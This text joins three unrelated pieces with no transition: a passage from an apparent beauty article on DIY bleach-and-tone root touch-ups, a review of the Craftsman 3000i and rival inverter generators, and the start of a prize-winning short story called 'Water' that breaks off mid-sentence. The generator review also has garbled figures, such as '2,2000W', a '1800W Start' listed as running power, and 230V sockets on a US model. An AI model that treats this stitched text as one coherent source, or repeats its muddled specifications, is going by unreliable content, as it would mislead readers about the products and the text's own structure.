using, send them a DM asking for advice. Most in-person consults are going to be free of charge anyway, so asking over e-mail or online is no different so long as they have a good photo of your current color, preferably in natural lighting. The goal all professionals have at the end of the day is to make a contribution to good hair, and to help people feel their best. Find Your Color Kit :max_bytes(150000):strip_icc()/90516573_596302720966715_7772360732609645280_n-f31a9d1468bd4cf2b8aff59fb24f304f.jpg) After talking with a pro, you should have gathered some good information to help you move forward, such as your current base color or level, and potentially even a specific product recommendation. Now, there are two ways to touch up your highlights: The first way is with single-process color. That means you have one color application, rinse, and you're done. Normally, single-process is best for an allover change, or for root touch-ups to conceal gray hair. If your hair is light enough, you may be able to pull this off (with your colorist's blessing, of course). If you go the single process color route, be sure to use a semi- or demi-permanent color to help your color fade over time versus leaving a longer-lasting stain on the hair that will create more work to correct later. FYI: These can only be used to darken your hair or change the tone. A single process is really only going to alter the shade of your hair one to two levels, which will be easier for lighter base colors that are already within the dark blonde family. If your natural base color is super dark, this isn't going to be your route to lighter strands. Remember, "this is more of get-you-by-til-your-colorist-can-see-you tutorial," says Carhart, "not the time to see if you look good as a DIY blonde." Since this option doesn't entail any bleach, "you'd have to work pretty hard to burn your hair off," Craig tells us. So at least that rules out one of the many potential risks. All highlighting that's done in the salon is typically done with bleach. Bleaching is more likely to cause serious damage if you aren't careful, such as burning the hair off as Craig referenced above. When you use bleach, it's considered a double process job because there are two steps involved to get your desired outcome: bleaching and toning. The bleach is going to strip your strands of their current shade, lifting color out a few levels lighter, and the toner is going to then re-deposit the desired tone. It's a much more intensive process for beginners, let alone for doing it yourself at home with no assistance. Even in the salon, it's pretty rare to find a professional using this method without an extra set of hands assisting them, so let that be telling of why this method isn't typically advised for DIY. Before resorting to touching up your own highlights at home, try an at-home gloss or toning treatment first. While they won't lighten your roots, they can help tone down unwanted brassiness between appointments, improving the overall look of your highlights. Team Byrdie loves the Matrix Total Results So Silver Mask ($26) and the Kristin Ess Signature Gloss in Winter Wheat ($14). Gather Your Materials :max_bytes(150000):strip_icc()/74335859_153066132613191_6266116627986037367_n-3f5bf41aaf5e449bb27bfe7845adcf6c.jpg) Go to (or order online from) a beauty supply store like Sally's to gather your supplies, or see if your colorist can order materials for you and you can reimburse them through Venmo (if you do something like this, we'd suggest including a tip). Most single-process touch-ups are going to come in a box or kit that includes everything for you: Your gloves, instructions, mixing solutions, and application bottle. Again, I will emphasize not to get started with a single process color just because it seems easy and straightforward. You must make sure this is advice straight from your colorist. Carhart reminds us, "it could be 10 times harder and at least twice as expensive later for your colorist to fix box dyes." For a double process bleach-and-tone, your materials should include: - A color brush - A small mixing bowl - Bleach - Peroxide - Some foil. Carhart suggests using kitchen foil and cutting into 4" x 6" rectangles - A rat-tail comb - Latex gloves - A color cape or towel and clip When choosing a peroxide, Carhart says to keep it "low low low!" Keeping a low volume will help ensure you don't fry your hair off, and it leaves more hope for your colorist to fix any potential mistakes made. "We can't reattach your hair if it's been broken off!" says Carhart. "If your hair is naturally light (blonde to light brown), 10 volume is the highest you should go," she advises. A level 10 volume peroxide will lift one level lighter and a level 20 volume will safely lift two. "If your hair is naturally darker (medium brown to black), use 20 volume." Mix your bleach and peroxide into a thick, but blended consistency. You don't want it to be too runny or soupy. Make sure your gloves are on even while mixing. If bleach touches the skin, it will burn. Bleach will stain your clothes too, so be sure to put your cape on for protection right away. Perform a Strand Test :max_bytes(150000):strip_icc()/271304992_1015037855715600_336866572774198512_n-339790455dd147139ca419d0b398a475.jpg) A strand test is when you take a small sliver of hair and apply your color solution to see how it turns out before going all in. Before you do this, make sure your hair is clean. You want clean hair that's product-free so there isn't any buildup or barrier on your strands that inhibit penetration. If you do a strand test, specifically with bleach, be sensitive to maintaining your foil placement. Try to get a good look at the strand to gauge if it's the level of brightness you were expecting, but be sure to leave your foil in place until it's time to remove and rinse. "[Strand tests] could cause bleed marks if people are removing the foil and trying to put the hair back in," says Carhart. "I would just open the foil slightly and look at it. When it looks yellow or pale yellow, it’s ready. The quickness or slowness of the chemical reaction will depend entirely on the individual," she explains. "Typically, light hair lifts faster and dark hair lifts slower." If you're doing a full bleach and tone, you can test your entire process on this strand. It sounds like a lot of extra work, and it is! But better to take the time and risk a single strand that can easily be hidden, versus going in at the roots that are most visible only to realize it was not at all what you expected. The key to checking your strand test, according to Carhart, is "minimal touching." Choose Your Method :max_bytes(150000):strip_icc()/242012809_1010969876354562_908563929119370497_n-b0784d13cd9b43b086211ad3faf5fdaf.jpg) There are a lot of ways to physically highlight the hair. When you go to the salon, your stylist might use foils, they might do balayage (with a brush), or they may even backcomb your ends before using foils and then stick you under a dryer for an hour. None of that is going to happen for a home application. Techniques like balayage and backcombing are meant to lighten the ends and highlight all-over. Plus, with those techniques, you don't need to have your ends touched up much at all. "I paint balayage highlights so the grow-out is smooth and seamless," says Craig, "so a few more months of roots won't be the end of the world. Your hair probably looks good." Remember: this tutorial is the last resort to save you between visits. You will only be dealing with your roots. With that in mind, Carhart suggests using a foil technique for bleaching. The amount of time you leave it on for will be dependent upon your colorist's advice. But you can check the foils every five to 10 minutes to see how it's lifting (with minimal touching, of course). If you decide to use a single process color kit or a one-step tool, like DP Hue's Blonding Brush ($28), simply follow the directions that come in the packaging. Section Your Hair :max_bytes(150000):strip_icc()/72280133_156017808973467_4597331595632728022_n-e728159bb14742a390dd6a3dbbe97eae.jpg) Per Carhart's advice, you're going to start by clipping your hair into three sections: the two sides (from the back of the ear, forward) and the back. Even though you're sectioning all of your hair, "I would recommend doing as little as possible," she says. "Only highlight the 'T-zone' where you part your hair and around the face." That back section can basically be clipped away safely. Though you'll only be doing a minimal amount of upkeep, keeping all of your hair sectioned keeps you organized and helps to avoid any unnecessary messes or unwanted mess-ups. After your strand test has shown promise, you can do one or two layers of foils in the "T-zone" as Carhart suggests, right at the surface of your parting. "While I would avoid doing this in general," says Carhart, "I would avoid going near the back of the head at all costs." The parting area and hairline are the only working zones. Sectioning is only meant to keep your work area clean and organized. Paint Your Strands Since every single process application is going to have unique directions of its own, and likely a user-friendly applicator, we're going to use this space to discuss how to achieve a highlight touch-up by using the foil method that Carhart suggested. Start wherever your natural parting is, either on the side or down the middle. "Begin by slicing super fine sections (like, see-through!) using your tail comb to weave some pieces of hair out," says Carhart. Place the thinly sectioned hairs onto your foil, and stretch them down taut against your head. Use your brush to gather a scoop of your bleach mixture and firmly press it down onto your strands as if you were painting a thick stroke of acrylic paint with a paintbrush. You want it to be rich and thick but still spread out into an even layer. You shouldn't need too much since the sections you're working with are so fine. "Paint the bleach on your roots and avoid overlapping onto the blonde from your previous color job," says Carhart. When it comes time to apply around the hairline, take a fine slice of hair out using your tail comb and weave the same way Carhart advised with the parting. Then, place a foil against your forehead or cheek, and lay the finely sliced hair on top of the foil. "Make sure to saturate, but not over saturate. Then fold the bottom of the foil to meet the top, and corner in the tops of the sides a little bit so the foil doesn’t slip." Don't be too shy with saturation either. If your application isn't saturated, you'll have a splotchy, spotty-looking bleach job. While Carhart thinks that the hairline is the easiest to do yourself, she warns that it still requires some serious hand-eye coordination. "If you have never mastered how to curl your own hair, then highlighting at home is definitely not for you." The most important part of applying your bleach is to ensure it does not touch the scalp. "Try to get about 1/4 inch away from the root because bleach will expand," Carhart explains. "If it does, and you see the product seeping out when you close the foil, you will have what's called a bleed mark (more commonly known as a cheetah spot)." If bleach touches the scalp or skin, rinse the area immediately. Any hard-to-reach areas, Carhart simply says, "Don't do them." Apply Your Toner :max_bytes(150000):strip_icc()/90518416_670838793457722_3894551630638100907_n-e9eb64aead6e4734a9b718f3270d791c.jpg) Toner's job is to neutralize the intense yellow shade that appears from bleaching and make it look more natural. This is the secret sauce that eliminates brassiness and other unwanted tones to help you reach your desired outcome. When it comes to your toner, "keep it simple," says Carhart. "Ideally I would try and take the foils out at a place where you don’t need a toner. If your hair is blonde, this is much easier. You wait until the highlights are a pretty color and then you take the foils off. If you’re a brunette, you need to pay closer attention." Carhart tells us that the "sweet spot" for darker brunettes is two to three shades lighter than their natural color. The safer, low-volume peroxide that we're working with for these at-home touch-ups will only lift you one to two shades lighter. So if you've been highlighting for a while and working with your colorist to go blonder from a super dark natural base color, you're better off resorting to throwing on a baseball cap and hiding those roots. If you're a dark brunette that only needs a light touch-up at the roots, just be sure not to overlap the bleach onto your previous color job as Carhart warned before. The overlap could cause a funky color spot or potential breakage. The potential of leaving the bleach on too long could also create a problem for your toning approach. "If you open the foil and the hair looks kinda red/orange, you’re too early," Carhart warns us. The color you want to see before you remove the foils to rinse is yellow. After the bleach has been thoroughly rinsed out, you'll apply your toner. Follow Up With a Deep Conditioning Treatment After any color treatment or chemical treatment that heightens the hair's porosity levels, you want to be sure you're upping the conditioner and getting extra moisture back into the hair. You'll notice, especially after using bleach, that your hair feels straw-like, brittle, and extremely dried out, so a good conditioning treatment is crucial. Turn to your conditioner after your toner is completely rinsed out and you've shampooed your hair. If you followed Carhart's advice and passed on the toner, you could use a product like Davines Alchemic Conditioners in Silver, Golden, or Tobacco ($33) and let that serve as your mild toner. That way, you don't have to put yourself at risk of pulling the foils off too late. Blue conditioners will help neutralize the warmth if your hair pulls more orange or yellow. Otherwise, any deep conditioning treatment will work. Virtue's Restorative Treatment Mask ($32) is another great option and will help restore your hair from the inside out. You don't want to skip this step—it'll add a boost of shine and softness to your strands that will help you feel like you just left the salon. Keep up this treatment until you lose that straw-like feeling when shampooing. Blow Dry and Cross Check :max_bytes(150000):strip_icc()/23734697_381244598979402_9194028579770335232_n-524000eaa2f64cf2afc3bd2443cb4719.jpg) Now it's time to see your best efforts in action. Blow dry around the hairline and part first, even if you didn't do a bleach-and-tone. Once you're 80-90 percent dry, grab a round brush or flat brush to help you smooth out the hair. Using a smoothing nozzle or concentrator will also help you get the hair to a place where you can see things clearly. If you notice any trouble areas, get your hair fully dried and smoothed out before contacting your colorist in a panic. You'll want to provide another photo in good natural lighting, and the blow dry will help display things clearly. Worst case scenario, you'll be back to square one, waiting for a pro, only this time it will be for a color correction. But if you're extremely cautious and vigilant in following the steps above, you might just pass with flying colors.

Note from Editor : The Craftsman 3000i is now available in the US and Canada. For some reason this generator was only available in Canada initially. If you’re a Canadian like myself you’ll wonder we often get shortchanged when it comes to our generator selection. We don’t have access to the full range of models available from manufacturers, which is maddening. The Craftsman 3000i is an excellent lightweight inverter generator for a myriad of uses, like camping, your RV, home backup in case of a power outage, your food truck, tailgating, etc. If you need affordable portable power, the Craftsman 3000i might be a good choice, but there’s a lot of competition, which I show you. Welcome to our review of the Craftsman 3000i, and other inverter generators that might be a better buy for you. Inverters / Craftsman 3000i Inverter generators are not always that powerful and can be expensive. The Craftsman 3000i has answered the call for a more affordable, more powerful portable generator providing clean, safe power. Wonderfully portable, with enough watts to satisfy most RV needs, the inexpensive Craftsman 3000W inverter generator has won the hearts of campers and homeowners. This review is going to explore the success behind this extremely popular generator. The best innovation in portable generator technology has to be the inverter generator. Unlike conventional generators, these machines provide incredibly stable power with low Total Harmonic Distortion (THD), thanks to digital inverter technology. The need for a clean power source, safe for electronic devices, was born out of necessity. Our modern intelligent appliances are easily damaged if not supplied with a reliable current without much distortion, ideally less than 3% THD. Exceptional : CO Monitoring Dual-Fuel Inverter — Westinghouse iGen4500DFc I love sharing new products with my readers. I consider it my job to introduce to the newest quality generators, even though you’re here for the Craftsman 3000i. I understand, but I spend all my time analyzing generators and this Westinghouse iGen4500DFc is a new updated model, which now has integrated carbon monoxide monitoring. Some people don’t know that generators output CO via their fumes and a lot of people die every year as a result of using generators improperly. Later in the article I show you the Briggs and Stratton P2400 (2400W) that also has CO monitoring. Ultimate you’ll have to decide what’s best for you, but I want to show you the models that I feel are the best value for the money — and safest. Alright, let’s get back to Craftsman… Anyone shopping around for a good quality inverter generator faces two challenges. There aren’t too many models that provide much more than 2,000W. Even small inverter generators can cost close to, or more than $1,000. When you start looking at your options in the 3,000W range, with enough power for an RV air conditioner, the prices climb steadily. This explains why the Craftsman 3000i has been met with such great enthusiasm. It costs roughly the same as the 2,2000W Honda EU2200i but provides a much more practical 3,000 peak watts, with 2,300W running power. Now for the good news. If you live in the US, this generator is NOW available. Hooray! When I first wrote this article I was focused on Canada, so forgive me for any language that still remains from the original article. I’m editing it. Sometimes things squeak through in rewriting. If you’re a writer you know exactly what I’m talking about. Interesting fact : the Craftsman 3000i inverter generator is manufactured by Generac, one of the most recognized American generator manufacturers. Generac sells the same generator but with Generac branding. Manufacturers do this all the time. TIP : Buy the Craftsman version because it’s cheaper. Ironically, the original version of this generator, the Generac GP3000i costs much more. At least this is the case in Canada, based on the Amazon list price for both generators. Generac GP3300i — 3300W Inverter Generator This Generac 3300i has a little more power than the Craftsman 3000i, but did you know that there’s a Generac 3000i which is identical to the Craftsman generator. This is not as uncommon as you might think. Apart from color and branding, the Craftsman 3000i and Generac GP3000i are identical. They are made in the same factory, by the same people. Essentially, you’re paying around more for the orange (Generac) version, than you would for the red Craftsman version. If you’ve been searching for a reliable inverter generator to supply your RV, home, or a food truck, keep reading. This review of the Craftsman 3000i should guide you to spending your money wisely. I doubt there can be a better deal on a quality 3,000W inverter generator. We’re also going to offer a few alternatives for affordable inverter generators. To complete this review, we’ll be looking at the even cheaper, albeit less powerful, Craftsman 2200i, and the Briggs and Stratton P2400. Craftsman 3000i – Review / Inverter VIDEO — See if fresh out of the box. (Buy on Amazon.ca) or (Amazon.com) Features : - POWER BOOST: Boost of Power feature provides 50% more starting capacity so you can do more with a smaller product* - ULTRA QUIET DESIGN: Unit is barely audible when in use, yet does not compromise on performance - — The Craftsman 3000i looks the part of a modern, quiet inverter generator. The elegantly molded plastic enclosure appears tough enough to withstand the knocks and scrapes that a portable generator has to endure. All the working parts are perfectly protected, and the housing provides wonderful noise reduction, better than most. Certified dBA levels for the Craftsman 3000i (or Generac equivalent) can’t be found anywhere. Though, customer reviews confirm that this is a blissfully quiet generator. I’m estimating in the 65dBA range. You can hold a normal conversation close to the generator, without raising your voice. This is excellent for a generator that’s powerful enough to run an RV air conditioner up to 15,000 BTU. Though, in most instances, I wouldn’t recommend a generator of this size for more than a 13,500 BTU AC. Even then, you won’t have much power left for your other appliances. VIDEO | A Closer Look at the Craftsman 3000i Powered by the Generac 149cc, OHV engine, the Craftsman 3000i is a superbly reliable machine. It delivers the inverter supplied 3,000 peak watts and 2,300 running watts with absolute ease. Fuel economy is reasonable. At 4.9 kilowatt-hours per gallon, the Craftsman 3000i is about average for a generator of this size. It is fitted with an economy switch that reduces engine speed when the power requirement is 25% or less than the rated output. This means that the generator will save on fuel, and run quieter, when your electricity consumption is less than 575W. At 25% rated load, you’ll get just under 6-hours runtime from the 1.06 gallon gas tank. You can expect about 4.5 hours at 50% rated load (1,250W). The Craftsman 3000i has all the outlets one would want for an RV or home use. I’m pleased to see a 30A 120V outlet (TT-30R). Although this circuit is only rated for 20A, it is quite convenient for an RV or transfer switch setup for home use. If you need more power, ports for a parallel kit will allow you to connect a second Craftsman generator. Thereby doubling your power output. The control panel has the regular 20A 120V household outlets, two of them. These are protected by a 20A breaker. It also has 2 X USB ports, providing a hassle-free means to charge your phones, tablets, basically any device using a 1A – 2.1A 5V USB charger. Three status LED indicators alert you to low oil, overload, or system ready. Most of the smaller generators don’t include an electric starter, and the Craftsman 3000i is no exception here. Because the engine is relatively small, it doesn’t take much effort to start using the recoil starter. A single action dial for off, on, and choke, further simplifies things. The advantage of eliminating the electric starter and battery is reduced weight and, of course, it also lowers the cost of the generator. This means a weight of 59.5 LBS, giving the generator a fantastic power to weight ratio. A molded handle, at the top, makes it easy to carry the Craftsman generator. The Craftsman brand is well-known for affordability, with the assurance of good quality. Although Craftsman don’t manufacture any of their branded tools or power equipment, they go to great lengths in sourcing high-quality products. The buyers negotiate discount prices, which is then conveyed to the consumer. When comparing the Craftsman 3000i price to the original manufacturer price for the Generac equivalent, you get a clear idea of the magnificent value the Craftsman brand has to offer. The rebranded, Craftsman generator, is significantly cheaper than the Generac original. It is the same generator, with the same 3-year residential (1-year commercial) warranty. If you need assistance for warranty repairs, or to buy spare parts, you can take your Craftsman generator to a Generac dealership, making after sales service just as good as if you’d bought the Generac version. Review : Craftsman 2200i / Inverter Generator Features : - 1700W = Running / Starting : 2200W - Run-Time : 7 hrs @ 50% Maximum Output - Dry Weight : 46.6 lbs - — Like the Craftsman 3000i, the 2200i is basically a Generac model (GP2200i) that has bears the Craftsman name and is Red, instead of the Generac burnt orange color. Other than these minor changes to the appearance, the Generac and Craftsman generators are identical. Though there’s a strange irony in pricing, a twist in the tale of two generators. When comparing the Craftsman 3000i to the identical model from Generac, the Craftsman is a much cheaper option. The opposite is true for the Craftsman 2200i. In the case of the latter generator, the Generac model is cheaper. It makes absolutely no sense to me. Though, what do I know about marketing? The Craftsman 2200i looks just about the same as the larger 3000i. An enclosed inverter generator, with a molded plastic housing and has a single carrying handle. It is obviously smaller and lighter, as this generator has a smaller 80cc engine, providing 1,700 running watts and 2,200 peak watts. It is also a good deal quieter. This makes the Craftsman 2200i a real winner when it comes to portability. Weighing in at 46.6 pounds, it is remarkably easy to take anywhere you go. It is only 19.7” long, 11.4” wide, with a height of 17.9”. Like its big brother, the Craftsman 3000i, this smaller generator only has a recoil starter, giving it the same low weight advantage. Despite having a smaller engine, compared to the Craftsman 3000i, this generator is not as fuel efficient as the larger model, providing a fairly dismal 3,81 kilowatt-hours per gallon. This probably explains why the smaller 2200i has a larger gas tank than more powerful Craftsman 3000i. This is not what one would normally expect but it does make the thirstier 2200i more practical in terms of runtime. At 25% load, this little machine will keep going for a wonderfully convenient 10.75 hours on a full tank (1.2 gallons). You’re using less gas, supplied by a larger gas tank, but you’re getting a lot less power at 25%. This is only 425W, whereas the Craftsman 3000i delivers 575W at 25% load. Hence the improved kilowatt-hour per gallon consumption rate for the larger generator. The 2200i also has an economy mode which helps reduce fuel consumption, though not by much. This does, however, make it a delightfully quiet generator. Like the Craftsman 3000i, no sound levels are provided. Though it can certainly be called whisper quiet, probably in the 55 – 60dBA range. The control panel fitted to this generator is very similar to the Craftsman 3000i. The 2200i has an advantage, being an 8A 12VDC outlet for charging your leisure batteries. It also has the same 2 X USB ports, making this a really versatile generator for camping and recreational activities. The AC outlets are not as comprehensive as the 3,000W Craftsman generator: 2 X 20A 120V household outlets (5-20R), but no TT-30R receptacle for convenient RV connection. Given that this generator only offers 14A rated load, a 30A RV outlet isn’t of much use. You can connect another Craftsman 2200i in parallel, which will double your output, bringing it very close to 30A. Fortunately, the parallel kit (sold separately) includes a 30A outlet. Starting this generator is as easy as the 3000i. It has the same quick dial, moving from off, to on, then choke, in one easy turn. Tugging on the recoil starter takes incredibly little effort. After all, this is a pretty small engine, without as much resistance. Warning lights are the usual low oil, overload, and system ready. Because the Craftsman 2200i only delivers 14A, it has a single 20A circuit breaker for the duplex outlet, and an 8A DC breaker for the charging ports. I was really impressed by the exceptional value offered by the Craftsman 3000i. I’m afraid I can’t say the same for the 2200i. You can buy the Generac GP2200i for less. It is, however, a great little generator, giving the legendary Honda EU2200i some stiff competition. Because the Craftsman 2200i is essentially a Generac product, you get the same fantastic warranty (3-years for residential use). You also have the wonderful benefit of the Generac dealership network for service and spares. Briggs and Stratton P2400 / Carbon Monoxide Monitoring Features : - CO Guard Carbon Monoxide Shutdown - Power : 2400W Start / 1800W Start - Parallel Connector Port - H-handle design lets one person easily carry the light generator when needed. It also allows two people to conveniently share the load. - Two 230V household sockets, one 12V DC charging outlet, and two 5V USB port - 79cc engine - Quiet : At 58dB operating volume, - Safe for Sensitive Electronics - Designed for Camping Although this Briggs and Stratton inverter generator has less power than the Craftsman 3000i, I still feel the need to share it with my audience because a lot of people aren’t even aware it exists. A lot of people die every year from carbon monoxide poisoning from running generators in their garages, barns, or too close to open windows, doors or tents. Having an integrated CO monitor as this model has, might actually save your life. More and more generators are including this feature but for now, it’s still on a select inverter generators. Another exceptional model with more power is the Westinghouse iGen4500c What can you run on 3,000W generator? The Craftsman 3000i has a lot to offer. It is reasonably priced and easy to transport, being lightweight and compact. Though, with this, comes a limitation in the power it produces. It goes without saying, that a larger, heavier generator will provide greater wattage. The inverter offers a good advantage, especially when using all the watts that the generator has to offer. Conventional generators, without an inverter, become incredibly unstable as the load demand increases, making them less capable at delivering the full running load capacity reliably. With a quality inverter, you can push the generator to the limit of its capabilities, with the reassurance that the voltage and frequency always remain within a reasonable range. Though, there’s no way to get around having less watts, no matter how clean the power is. When deliberating if a 3000W generator is going to live up to your expectations, we need define what a 3,000W generator is. Typically, a generator is rated by it’s peak, or surge power, not it’s running wattage. This can be misleading, as peak power is only available for a short period. You can’t use the full 3,000 watts constantly. The Craftsman 3000i is able to supply 2,300 watts constantly and reliably. The remaining 700 watts is reserve power to accommodate equipment with a high startup current. Typically, surge power is required for inductive startup load. For most generator users, this applies to air conditioners, refrigerators, pumps, and microwave ovens. All these appliances, and some types of lighting, require additional power to start. There is no fool-proof means of calculating the startup load required for an induction electric motor. It will depend on the phase of the motor and the load placed on the motor. Depending on where the rotor is positioned, in relation to the stator, an induction motor may require up to 3-times its normal running current when starting. It will also depend on the load under which the motor starts. In the case of an air conditioner or refrigerator, this will depend on the pressure inside the compressor at the time. This can lead one into a false sense of security. Sometimes the motor will only require about double the running power. At other times it may be 3-times, possibly more. To prevent unwanted tripping, it’s always best calculate the startup load demand for refrigerators at 3-times the rated watts. The rated power for an air conditioner does not only supply the motor, the fan constitutes a good proportion of the load requirement. The rated load for an air conditioner (including the fan) will be roughly half the starting load. Refrigerators generally use over 90% of the rated load for the motor and should be safely calculated at 3-times the running load for startup. Probably, the most frequently asked question for the Craftsman 3000i (and similar generators) is: will a 3,000W generator run my RV air conditioner? The answer will always be the same: it depends on how much power the air conditioner requires. Typically a 15,000 BTU air conditioner will require a running wattage of 1,200W – 1,800W and startup power of 2,600 – 3,600W. This places a 15,000 BTU AC in the upper limits of a 3,000W (peak load) generator. Many 15,000 BTU air conditioners will need more power than this generator can supply. For this reason, I don’t recommend a 3,000W generator for anything larger than a 13,500 BTU RV air conditioner. Typically, these air conditioners start at around 2,600W – 3,000W, and run at about 1,300W – 2,300W. When supplying a 13,500 BTU AC, it’s doubtful that you will be able to use any other electrical appliances simultaneously. Using a 10,000 BTU air conditioner will afford you the opportunity to use a few low-watt appliances with the AC running. Of course, opting for an Energy Star, high-efficiency air conditioner will change things. With the correct rating, an Energy Star air conditioner can use less than half the power of a conventional equivalent. I’m sure most RV owners want to use more than just the AC. A mid-sized refrigerator will obviously be out of the question. Though there is a very practical solution to this conundrum. One which offers many benefits. Deep cycle batteries and a power inverter provides a wonderful solution. If your generator is equipped with a 12VDC charging outlet, you can charge your 12V leisure batteries every time the generator is running. Since this charging port generally draws les than 100W, it shouldn’t place excessive load on the generator. Now that 12VDC outlet fitted to the Craftsman 3000i starts to make more sense. To keep things affordable, a 12VDC camping cooler would be beneficial with this type of setup. This means your refrigeration will run directly off the batteries, without placing any extra load on the inverter, or generator. A 1,000W RV power inverter can cost well under $100. This will provide clean, pure sine wave, AC power for your lighting, TV, satellite receiver, laptop, and small appliances. It converts the power from a 12 battery into 120V AC power. These compact devices that can fit into a small part of a closet, without taking much valuable space. Apart from supplying the extra watts to compensate for a smaller generator, the inverter has a few additional advantages. It is virtually silent, so you can use battery to inverter power during campsite quiet times. Basically, you only need to use your 3,000W generator when the air conditioner is required. The rest of your RV power can be supplied by deep cycle batteries, which will be charged whenever the generator is running. If your generator does not supply a 12V charging current, you can use a power converter. This is an inverter and battery charger in one unit, that will convert the AC power supplied by a generator (or shore power) into a 12V battery charging supply. They cost more than a regular RV inverter, making a generator with a 12VDC outlet beneficial for this type of application. Inverter power, supplied from a battery, is very efficient. The amount of additional fuel used to charge the batteries, when the generator is running, is negligible. You won’t notice it. When you’re using battery power, you not only have no generator noise, but you’re not using any gas. These savings do a lot to offset the cost of an inverter and batteries. Review — Briggs & Stratton P3000 / Discontinued Features : - Inverter Generator Quiet Power Technology - 10-Hour Run Time at 25% Load - LCD Screen Displays Important Performance Stats & Maintenance Reminders - (4) 120V Household Outlets - 12V-5A, DC Outlet - USB Port - Parallel Port - 24-Months Limited Consumer Warranty OVERVIEW — When Briggs & Stratton launched their Power Series inverter generators, a few years back, they did so with much fanfare. Bold claims were made, stating that the new Briggs & Stratton generators are the quietest and lightest, with the best peak power. While the Briggs & Stratton P3000 is blissfully quiet, reasonably lightweight, and more powerful than some. There are others that beat all these specs. The Briggs & Stratton Power Series generators are quieter and lighter than previous generation machines from the brand, but don’t quite compare to Honda or Yamaha. With that said, the P3000 is one of the better options amongst the cheaper inverter generators. In fact, it offers much more than most, and costs quite a bit less. Certainly worth considering as a viable alternative to the Craftsman 3000i. Briggs & Stratton generators of old have always tended to be somewhat temperamental. While they last for years, they haven’t always been that easy to start, particularly in cold weather. In general, older model Briggs & Stratton generators have always been a little erratic. I’m happy to report that much has been done, in recent years, to correct this. Though, I’ve read several customer reviews indicating that the P3000 inverter isn’t the best. It doesn’t seem to handle peak loads as well as it should. While this is not ideal, it’s not a deal breaker for me. For the most part, the Briggs & Stratton P3000 is competent at handling an RV air conditioner. There may a brief moment where the generator fails to deliver a perfectly balanced frequency and voltage, it won’t harm your sensitive electronic equipment. This is not that uncommon with cheap inverter generators. Now onto the good news. As with all Briggs & Stratton generators, the P3000 offers exceptional value for money. Comparing prices, from a number of retailers, you can buy this generator for less than the Craftsman 3000i. An argument can be made for the Craftsman generator, that it is probably of a higher quality standard. Being a Generac machine, this is probably true. The Briggs & Stratton generator is, none the less, a pretty worthy opponent, earning a respectable 4.2 star rating on Amazon. Consider this — Briggs and Stratton P2200 (in Canada & US) In terms of usable power, the Briggs & Stratton generator has a slight advantage over the Craftsman 3000i. It supplies the same 3,000W peak current, but offers a little more in running power (2,600W). The 171cc OHV engine is, in my opinion, the best to hail from the Briggs & Stratton stable. A vast improvement on the spluttering old clunkers of the past. The engineers have done much to improve cold weather starting and this a smooth running engine. Fuel consumption isn’t quite as good as the 3,000W Craftsman equivalent, at 4.33 kilowatt-hours per gallon. This is only marginally lower than the Craftsman 3000i and the P3000 has a larger (1.5 gallon gas tank), giving it almost as much runtime. At 25% load (650W), the Briggs & Stratton P3000 provides a superbly convenient 10-hours runtime. As with the other inverter generators in this review, runtime at 25% load is specified with the economy mode engaged and is contingent on a load that never exceeds 25%. The Briggs & Stratton P3000 looks quite magnificent, with an extremely elegant design. The beautifully molded exterior is also technically brilliant, proving wonderful sound insulation, rated as low as 58dBA. Though this is at 25% load, from the usual 23-feet, with the ECO mode switched on. When you increase the load, it will exceed 60dBA by quite a bit. If anything, this generator is possibly a little louder than the Craftsman 3000i. However, without any substantiated noise level data for the Craftsman generator, this opinion can only be speculative. In the end, both generators are reasonably quiet, albeit not as good as many of the more expensive equivalents. Apart from great looks, the P3000 has several design features that give it a distinct advantage over most other inverter generators of this size. It has a really cool 3-point handle, making it easier to carry. You can use two hands or one. It is also feasible for two people to carry the generator, sharing the load. This isn’t possible with generators that only have a single handle. It has a 10” built-in wheel kit with a retractable handle. Definitely the easiest of its kind for portability. Though, much of these wonderful portability features are offset by a considerably higher weight. The P3000 weighs 84-pounds, 24.5 pounds heavier than the Craftsman 3000i. That weight difference won’t go by unnoticed when lifting the generator, regardless of how great the handles are. The wheels certainly come in handy when moving this hefty machine around. The P3000 definitely has the best control panel of the generators reviewed here. It has 4 X 20A 120V outlets and a 30A 120V RV outlet. It also has all the DC ports, a 12VDC automotive style outlet for charging 12V batteries, and a single USB port. They’ve included a digital “Statstation” display. This is a pretty advanced electronic management system, providing quick access to important information, like total running hours and your power consumption as a percentage of the available output. It also reminds you when to change the oil, sparkplug, and air filter. As with most inverter generators, the P3000 is equipped with ports for a parallel kit, enabling the use of two generators to increase the power output. The indicator lights are in keeping with the norm: low oil, overload, and system OK. The Briggs & Stratton P3000 is packed with a myriad of mod cons and gizmos that set it apart from the average cheap inverter generator. It also delivers a few more constant watts than the Craftsman 3000i. The extra weight could be an issue for some, but the P3000 has several wonderful portability features to compensate for this. Above all, this is one of the cheapest 3000W inverter generators. Yes, you can find cheaper, though not from a recognized American brand. That counts for something. I don’t feel that this generator quite matches the Generac/Craftsman quality standard but is, by no means, a substandard machine. The brand has a widespread dealership presence and offer a 2-year warranty on this model.

Robert Giron 2008 Short Story Contest Winner Water by Tin Johnston She was a good sleeper, a dependable sleeper, but that night Charlotte woke up with her heart whumping, like a young mother. There had been something. She lay there. She drew the alarm clock into focus: 1:36. She had a son who would stay out late, but when he came home he was like a cat, and if she heard him at all it was because she had gotten up to use the washroom, pausing by his door just long enough to hear him clicking at the computer in there, or humming to the iPod, or shhshing Ginny Simms, his girl. She heard none of this now, nothing at all but the heat pumping invisibly, bloodlike, in the walls of the house. This was late October, two nights before Halloween, the first truly cold night of the season. She closed her eyes and the dream she'd been having eddied back to center—a dream of hands, the feel of them, the smell of them; muscle and tendon, palm and finger. Her body, under the bedding, still hummed. She breathed, she slowed, she drifted down. And heard it: Water. Water was running in the pipes somewhere. Not the shower, or the toilet, or the kitchen sink: this was the distinctive 1-inch-pipe gush you heard when the boys were washing the truck, or the dog, or filling the plastic pool for the neighbor kids. She had been married to a plumber and she knew about pipes. She got into her robe and went down the hall, past the boys' rooms—John's door open, no John; Dukie's door shut but him in there, a mound of sleep she could feel like a pulse—and down the stairs to the kitchen, where the noise was loudest. John's truck was in the window over the sink, lit up by the worklight he used at night, a light usually manned by Dukie but now positioned somewhere out of view, like John. Two yellow smiley faces stared in at her, plastic hoods for the foglights, or whatever they were, he'd mounted on the cab. Her comment on the hoods—A bit cheesy, John—was still amusing him, apparently, when he and Dukie carved the identical inane faces into their pumpkins. She'd rolled her eyes but was secretly moved: they'd never done twins before. Charlotte held her robe to her chest and leaned over the sink. She saw the truck's fender, the tire, a thin disk of water leaching into the gravel, and just then the spigot gave a squeal and the water stopped running and a face popped 